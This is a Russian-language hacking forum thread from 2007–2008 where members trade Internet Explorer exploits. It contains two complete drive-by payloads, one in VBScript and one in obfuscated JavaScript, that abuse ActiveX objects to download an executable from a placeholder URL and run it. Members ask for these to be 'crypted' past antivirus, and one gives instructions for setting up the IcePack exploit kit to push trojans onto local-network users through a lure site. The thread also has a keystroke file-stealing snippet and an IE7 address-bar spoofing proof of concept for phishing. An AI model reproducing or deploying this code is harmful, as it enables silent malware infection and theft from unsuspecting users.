Эксплойты для браузеров (IE, Mozilla, Opera, Chrome и др.)

Discussion in 'Защита ОС: антивирусы, фаерволы, антишпионы' started by KPOT_f!nd, 26 Sep 2006.

  1. THE_END

    THE_END Member

    Joined:
    29 Jul 2006
    Messages:
    16
    Likes Received:
    8
    Reputations:
    0
    Уязвимости в Microsoft Internet Explorer (всего 117 ).



    Уязвимость позволяет удаленному пользователю получить доступ к важным данным.

    PHP:

    <script>

    function 
    Clear() {
    document.getElementById("label1").htmlFor="file1";
    document.getElementById("text1").focus();
    }

    function 
    Down() {
    document.getElementById("file1").focus();
    }

    </script>

    <input type="file" id="file1" name="file1" onkeydown="Clear()" onkeyup="Clear()" />
    <label id="label1" name="label1"></label>
    <br />
    <textarea name="text1" id="text1" onkeydown="Down()">
    </textarea>

    © securitylab.ру
     
    #41 THE_END, 2 Oct 2007
    Last edited: 2 Oct 2007
    2 people like this.
  2. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    Microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055)

    Internet Explorer has standart ImageBase address and PE Win32 header is started at 0x00400000 in memory. So memory cell at the address
    0x00400008 contains the short value 0x0004 and at the address
    0x00400011 it contains the long value 0x00000000 in any case.
    I used these addresses for generating of TIFF-file that uses vulnerability and for controling of EIP.

    This exploit tested on:
    - Windows 2000 SP4 + IE5.01
    - Windows 2000 SP4 + IE5.5
    - Windows 2000 SP4 + IE6.0 SP1
    _http://www.milw0rm.com/exploits/4616 2007-11-11
     
  3. tusman

    tusman Elder - Старейшина

    Joined:
    2 Jun 2007
    Messages:
    6
    Likes Received:
    26
    Reputations:
    -26
    Меня тоже интересует ! Дайте пожалуйста линк где можно об этом почитать !
     
    1 person likes this.
  4. Francuz

    Francuz Elder - Старейшина

    Joined:
    2 Nov 2007
    Messages:
    94
    Likes Received:
    21
    Reputations:
    -5
    to tusman & L0n1

    вот видео....
    http://video.antichat.ru/file179.html
     
  5. _Sniper_

    _Sniper_ Banned

    Joined:
    21 Jul 2007
    Messages:
    409
    Likes Received:
    147
    Reputations:
    -17
    Скрипт палицца. Как его криптануть шолей?))
     
  6. Витян

    Витян Elder - Старейшина

    Joined:
    25 Dec 2006
    Messages:
    190
    Likes Received:
    83
    Reputations:
    14
    пара эксплоитов для для ие 6, последний билд авант браузера тож пробивает. позволяет скачать и запустить файл :) хз выкладывалось или нет, кто сможет криптануть мне в личку напишите

    Code:
    <SCRIPT language="VBScript">
    
    Module_Path="http://путь до файла.exe"
    
       If navigator.appName="Microsoft Internet Explorer" Then
    
          If InStr(navigator.platform,"Win32") <> 0  Then
    
          Const ssfFONTS=20
          Const adModeReadWrite=3
          Const adTypeBinary=1
          Const adSaveCreateOverWrite=2
    
          Dim  oRDS
          Dim  oXMLHTTP
          Dim  oFSO
          Dim  oStream
          Dim  oWShell
          Dim  oShellApp
    
          Dim  WinDir
          Dim  ExeName
          Dim  XMLBody
          Dim  PluginFile
          Dim  cByte
          Dim   ObjName
          Dim   ObjProg
    
          Randomize
    
          ExeName=GenerateName()
          ExeName=ExeName & ".exe"
    
          cls1="clsid:BD96"
          cls2="C556-65A"
          cls3="3-11D0-9"
          cls4="83A-00C04FC29E36"
          clsfull=cls1&cls2&cls3&cls4
    
          Set  oRDS=document.createElement("object")
          oRDS.setAttribute "id","oRDS"
          oRDS.setAttribute "classid",clsfull
    
          Set oShellApp = oRDS.CreateObject("Shell.Application","")
          Set oFolder = oShellApp.NameSpace(ssfFONTS)
          Set oFolderItem=oFolder.ParseName("Symbol.ttf")
          Font_Path_Components=Split(oFolderItem.Path,"\",-1,1)
          WinDir= Font_Path_Components(0) & "\" &  Font_Path_Components(1) & "\"
          ExeName=WinDir & ExeName
    
          ObjName="Microsoft"
          ObjProg="XMLHTTP"
          set oXMLHTTP = CreateObject(ObjName & "." & ObjProg)
          Req_type="G" & "E" & "T"
          HTTPSession=oXMLHTTP.Open(Req_Type,Module_Path,0)
          oXMLHTTP.Send()
          On Error Resume Next
          XMLBody=oXMLHTTP.responseBody
    
          ObjName="ADODB"
          ObjProg="Stream"
          On Error Resume Next
          Set oStream=oRDS.CreateObject(ObjName & "." & ObjProg,"")
          If Err.number <> 0 Then
    
                Set oFSO=oRDS.CreateObject("Scripting.FileSystemObject","")
                Set PluginFile=oFSO.CreateTextFile(ExeName, TRUE)
                Plugin_size=LenB(XMLBody)
    
                For j=1 To Plugin_size
                    cByte=MidB(XMLBody,j,1)
                    ByteCode=AscB(cByte)
                    PluginFile.Write(Chr(ByteCode))
                Next
                PluginFile.Close
    
                Set  oWShell=oRDS.CreateObject("WScript.Shell","")
                On Error Resume Next
                oWShell.Run (ExeName),1,FALSE
          Else
                oStream.Mode=adModeReadWrite
                oStream.Type=adTypeBinary
                oStream.Open
                oStream.Write XMLBody
                oStream.SaveToFile ExeName,adSaveCreateOverWrite
    
                oShellApp.ShellExecute ExeName
          End If
    
    
          End If
       End If
    
    Function GenerateName()
    RandomName=""
    rr=Int(8*Rnd)
    ik=0
    Do
      ii=Int(25*Rnd)+97
      RandomName=RandomName+Chr(ii)
      ik=ik+1
    Loop While ik<rr
    GenerateName=RandomName
    End Function
    
    </SCRIPT>
    Code:
    <SCRIPT language="javascript">
    
    var bb949531092ff = "http://путь до файла";
    function CreateO(o, n) {
            var r = null;
            
            try { eval('r = o.CreateObject(n)') }catch(e){}
            
            if (! r) {
                    try { eval('r = o.CreateObject(n, "")') }catch(e){}
            }
            
            if (! r) {
                    try { eval('r = o.CreateObject(n, "", "")') }catch(e){}
            }
    
            if (! r) {
                    try { eval('r = o.GetObject("", n)') }catch(e){}
            }
            
            if (! r) {
                    try { eval('r = o.GetObject(n, "")') }catch(e){}
            }
            
            if (! r) {
                    try { eval('r = o.GetObject(n)') }catch(e){}
            }
            
            return(r);      
    }
    
    function Go(a) {
            var s = CreateO(a, "WSc"+"rip"+"t.Sh"+"ell");
            var o = CreateO(a, "ADO"+"DB.Str"+"eam");
            var e = s.Environment("Process");
            
            var bb351865611ff = null;
           	var bin = e.Item("TEMP")+ "\\" + "fdklkjTUFOYUT.exe";
            var bb532058559ff; 
            
            try { bb351865611ff=new XMLHttpRequest(); }
            catch(e) {
                    try { bb351865611ff = new ActiveXObject("Micr"+"osoft.XMLH"+"TTP"); }
                    catch(e) {
                            bb351865611ff = new ActiveXObject("MS"+"XML2.Serv"+"erXMLH"+"TTP");
                    }
            }
            
            if (! bb351865611ff) return(0);
               
            bb351865611ff.open("GET", bb949531092ff, false)
            bb351865611ff.send(null);
            bb532058559ff = bb351865611ff.responseBody;
            
            o.Type = 1;
            o.Mode = 3;
            o.Open();
            o.Write(bb532058559ff);
            o.SaveToFile(bin, 2);
                         
            s.Run(bin,0);
    }
    
    var i = 0;
    var bb804375678ff = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E36}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}',null);
            
    while (bb804375678ff[i]) {
                 var a = null;
                  
                 if (bb804375678ff[i].substring(0,1) == '{') {
                         a = document.createElement("object");
                          a.setAttribute("classid", "clsid:" + bb804375678ff[i].substring(1, bb804375678ff[i].length - 1));
                  } else {
                         try { a = new ActiveXObject(bb804375678ff[i]); } catch(e){}
                 }
                  
                  if (a) {
                          try {           
                                 var b = CreateO(a, "WSc"+"ript.She"+"ll");
                                  if (b) {
                                         Go(a);
                                         //return(0);
                                  }
                         } catch(e){}
                   }
                 i++;
     }
    
    </script>
     
    #46 Витян, 15 Jan 2008
    Last edited: 15 Jan 2008
    1 person likes this.
  7. Mo4x

    Mo4x VX-эпоха перемен

    Joined:
    18 Feb 2007
    Messages:
    369
    Likes Received:
    194
    Reputations:
    -21
    Снайпер В разделе статъи полась
     
  8. tusman

    tusman Elder - Старейшина

    Joined:
    2 Jun 2007
    Messages:
    6
    Likes Received:
    26
    Reputations:
    -26
    Всем прет )
    Я понимаю что моя репа желает лучшего ) но может кто подскажет какой нить на данный момент рабочий не палющийся експлойт для закачки и запуска удаленного файла ?
    Биг спасибо всем кто откликнется !)
     
    2 people like this.
  9. Belfigor

    Belfigor Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    156
    Likes Received:
    40
    Reputations:
    2
    вот не в обиду тебе сказанно , но ты опять написал глупость :D , во первых которые в паблике (они все паляться ) , которые не ПАЛЯТСЯ ( все приватные ) , а для закачки и запуска, найди и скачай icepack в инете его полно ;)

    зы чтобы не было вопросов далее про icepack , поясняю , нашёл , скачал , если в ты в локалке ставишь себе Denver и тд и тп , далее заливаешь этот пакет ,на сервер , настраеваешь(этот пакет) через админку icepacka, то есть зальёшь нужные тебе файлы (трой ),далее отмечаешь какие он будет пробивать браузеры (iE 6 пробивается ) , делаешь ссылку на твой ресурс http://tusman.com , для локалки http://xxx.xxx.xxx.xxx/ и вперёд .

    зы но сначало проверь на себе !
     
    #49 Belfigor, 17 Jan 2008
    Last edited: 17 Jan 2008
  10. Vorlan

    Vorlan Elder - Старейшина

    Joined:
    9 Jun 2007
    Messages:
    29
    Likes Received:
    6
    Reputations:
    0
    мда, так ничего, вполне рабочий способ, но я больше предпочитаю работать с Metasploit Framework. Вручную, конечно некоторым сложно обновлять эксплойты, но по-моему им проще пользоваться.
     
  11. Belfigor

    Belfigor Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    156
    Likes Received:
    40
    Reputations:
    2
    я тоже предпочитаю юзать Metasploit Framework3 , но у меня только один сплоит ms06_001_wmf_setabortpro пашет по ХР sp2 , да и если в локалке шалить :D , то нужно ссылку кидать а там порт 8080 , начинаются вопросы типа " а это что радио ? и что там за музон " :D
    а это весит ресурс с заряженным icpackом , типа "порно для нашей любимой локалки " :D , а там уже дело чела идти на это ресурс или нет , хотя из 100% 89 зайдут ;)

    зы а обновлять экслпоты можно через Metasploit Framework3 Online Update
     
  12. Evpatiy

    Evpatiy New Member

    Joined:
    23 Feb 2008
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    а не судьба поменять порт на 80 ?? :)
     
  13. MadFun.

    MadFun. Member

    Joined:
    8 May 2007
    Messages:
    32
    Likes Received:
    28
    Reputations:
    20
    Belfigor открываешь msfweb,в браузер вбиваешь http://127.0.0.1.:55555,ищешь свой сплойт,а там и сам дальше разберёшься,можно какие угодно порты вписывать))
     
  14. XaCeRoC

    XaCeRoC Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    62
    Likes Received:
    23
    Reputations:
    -12
    Выложите сплоит для ie7
     
  15. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    Code:
    <!--
    Secunia Advisory:   	SA22542  	  
    Release Date: 		2006-10-25
    Impact: 		Spoofing
    Solution Status: 	Unpatched
    Software:		Microsoft Internet Explorer 7.x
    
    Description:
    A weakness has been discovered in Internet Explorer, which can be exploited by malicious 
    people to conduct phishing attacks.
    
    The problem is that it's possible to display a popup with a somewhat spoofed address bar 
    where a number of special characters have been appended to the URL. This makes it possible 
    to only display a part of the address bar, which may trick users into performing certain 
    unintended actions.
    
    Secunia has constructed a demonstration, which is available at:
    http://secunia.com/internet_explorer_7_popup_address_bar_spoofing_test/
    
    The weakness is confirmed in Internet Explorer 7 on a fully patched Windows XP SP2 system.
    
    Solution:
    Do not follow links from untrusted sources.
    
    Provided and/or discovered by:
    Discovered by an anonymous person.
    -->
    
    <script language="JavaScript">
    function StartTest()
    {
     var padding = '';
     for ( i=0 ; i<108 ; i++)
     {
     padding += unescape("%A0");
     }
     newWindow = window.open("", "Win", "width=500,height=325,scrollbars=yes");
     newWindow.moveTo( (screen.width-325) , 0 );
     newWindow.document.location = "/result_22542/?" + unescape("%A0") + unescape("%A0") + "http://www.microsoft.com/"+padding;
     document.location = "http://www.microsoft.com/windows/ie/default.mspx";
    }
    StartTest()
    </script>
    
    # milw0rm.com [2006-10-26]
     
    1 person likes this.
  16. 499392599

    499392599 New Member

    Joined:
    12 Mar 2008
    Messages:
    3
    Likes Received:
    3
    Reputations:
    0
    Да метасплоит говно! как можно вывесить у себя на тачке сервак? ето бред полный.
     
  17. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Легко! Я вывешивал!
     
  18. *DeViL*

    *DeViL* Banned

    Joined:
    27 Nov 2007
    Messages:
    169
    Likes Received:
    56
    Reputations:
    0
    Выложите, у кого есть линк на статью о примотке нового сплойта к связке сплоитов...
     
  19. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    https://forum.antichat.ru/thread58567.html
     
  20. XaCeRoC

    XaCeRoC Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    62
    Likes Received:
    23
    Reputations:
    -12
    sploint под IE7

    юзаем и говорим о результатах.